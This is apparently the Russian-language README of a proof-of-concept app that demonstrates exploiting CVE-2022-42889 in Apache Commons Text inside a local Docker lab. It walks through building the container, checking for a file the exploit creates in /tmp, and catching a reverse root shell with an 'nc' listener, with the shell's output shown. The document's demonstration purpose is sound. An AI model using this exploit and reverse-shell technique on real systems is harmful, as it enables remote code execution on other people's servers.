
Простое приложение, демонстрирующее эксплуатацию уязвимости CVE-2022-42889
Простое демонстрационное приложение, показывающее, как эксплуатировать уязвимость CVE-2022-42889.
Использует OOB (Out of Band) сервисы для демонстрации префиксов dns и url.
JavaDocs для commons-text интерполяции commons-text JavaDocs
Примеры интерполяций
Цитата от Rapid7
Уязвимость сравнивали с Log4Shell, поскольку это уязвимость уровня библиотеки с открытым исходным кодом, которая, вероятно, затронет множество программных приложений, использующих соответствующий объект.
Однако первоначальный анализ показывает, что это плохое сравнение. Природа уязвимости такова, что, в отличие от Log4Shell, маловероятно, что приложение будет использовать уязвимый компонент Commons Text для обработки недоверенных, потенциально вредоносных входных данных.
Java и maven можно пропустить, если загрузить образ из Docker Hub
Сборка приложения
mvn clean package
Сборка docker образа
docker build -t cve-2022-42889-poc .
Запуск docker образа
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
Откройте приложение и следуйте инструкциям
open http://localhost:8081
Проверьте, создаёт ли уязвимость новый файл в каталоге /tmp/ (/tmp/blop)
➜ ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp
blop tomcat-docbase.8081.12439436974042217796
hsperfdata_root tomcat.8081.2549096106233509364
➜ ~
Обратная оболочка. Запустите "nc" на вашей локальной машине
➜ ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#

